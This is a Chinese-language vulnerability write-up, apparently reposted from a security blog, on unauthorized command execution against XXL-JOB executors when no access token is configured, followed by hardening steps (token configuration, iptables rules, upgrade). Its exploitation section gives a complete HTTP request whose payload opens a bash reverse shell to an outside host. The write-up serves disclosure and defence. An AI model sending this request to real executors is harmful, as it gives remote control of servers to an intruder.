-
组件介绍 -
原理与危害 -
影响版本 -
利用方式 -
加固措施 -
开启身份认证 -
限制端口访问 -
升级至安全版本
1. 组件介绍
XXL-JOB是一个分布式任务调度平台,分为调度中心和执行器两部分。
在调度中心添加执行器后,调度中心可以对执行器进行命令执行,属于集权系统,可以帮助攻击者批量获取服务器权限。
同时,通过调度中心横向到执行器,往往可以帮助攻击者实现跨网横移,这在网络策略严格的环境中具有较大价值。
2. 原理与危害
调度中心使用RESTful API对执行器进行调度通信时,可以使用accessToken向执行器证明自己的身份。
如果没有配置accessToken,任何人都能对执行器发起调度通信,对执行器所在的服务器进行任意命令执行,从而获得执行器所在服务器的权限。
3. 影响版本
受影响版本是2.2.0 <= XXL-JOB <= 2.3.0
,具体如下:
-
2.2.0 -
2.3.0
4. 利用方式
POST /run HTTP/1.1Host: 10.58.81.107:9999Content-Length: 383{ "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1745646241, "glueType": "GLUE_SHELL", "glueSource": "bash -i >& /dev/tcp/10.58.81.119/8888 0>&1", "glueUpdatetime": 1745646241, "broadcastIndex": 0, "broadcastTotal": 0}
5. 加固措施
可参考XXL-JOB作者恨铁不成钢的防护建议:XXL JOB 未授权访问致远程命令执行 "漏洞" 声明
5.1 开启身份认证
配置accessToken,开启身份认证,调度中心和执行器的值需保持一致。
accessToken在调度中心的配置文件是xxl-job-admin/src/main/resources/application.properties
,配置项是xxl.job.accessToken=
。
accessToken在执行器的配置文件是xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties
,配置项是xxl.job.accessToken=
。
例如将accessToken的值修改为OneMoreThink666666:
cd /usr/local/xxl-job-2.2.0sed -i 's/xxl.job.accessToken=/xxl.job.accessToken=OneMoreThink666666/g' /usr/local/xxl-job-2.2.0/xxl-job-admin/src/main/resources/application.propertiessed -i 's/xxl.job.accessToken=/xxl.job.accessToken=OneMoreThink666666/g' /usr/local/xxl-job-2.2.0/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties
然后重新打包与部署:
### 打包cd /usr/local/xxl-job-2.2.0mvn clean package## 部署调度中心和执行器java -jar xxl-job-admin/target/xxl-job-admin-2.2.0.jar &java -jar xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.2.0.jar
再次对执行器进行未授权任意代码执行,如果报错The access token is wrong
,说明漏洞修复成功。
5.2 限制端口访问
在执行器所在的服务器中配置本地防火墙,只允许调度中心访问执行器的9999端口。
# 如果担心已有规则干扰,可将允许规则插入到链的顶部。# 即时调度中心和执行器在同一台服务器中,该命令不会影响调度中心对执行器的正常通信。iptables -I INPUT 1 -p tcp -s 10.58.81.107 --dport 9999 -j ACCEPT# 拒绝其他所有IP访问9999端口iptables -A INPUT -p tcp --dport 9999 -j DROP# 永久保存规则(CentOS中)yum install iptables-services -y && service iptables save && systemctl enable iptables
再次对执行器进行未授权任意代码执行,如果没有响应,连接失败,说明漏洞修复成功。
5.3 升级至安全版本
建议升级至2.4.1及以上版本。
原文始发于微信公众号(OneMoreThink):漏洞研究(7):XXL-JOB执行器未授权访问漏洞(RESTful API)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论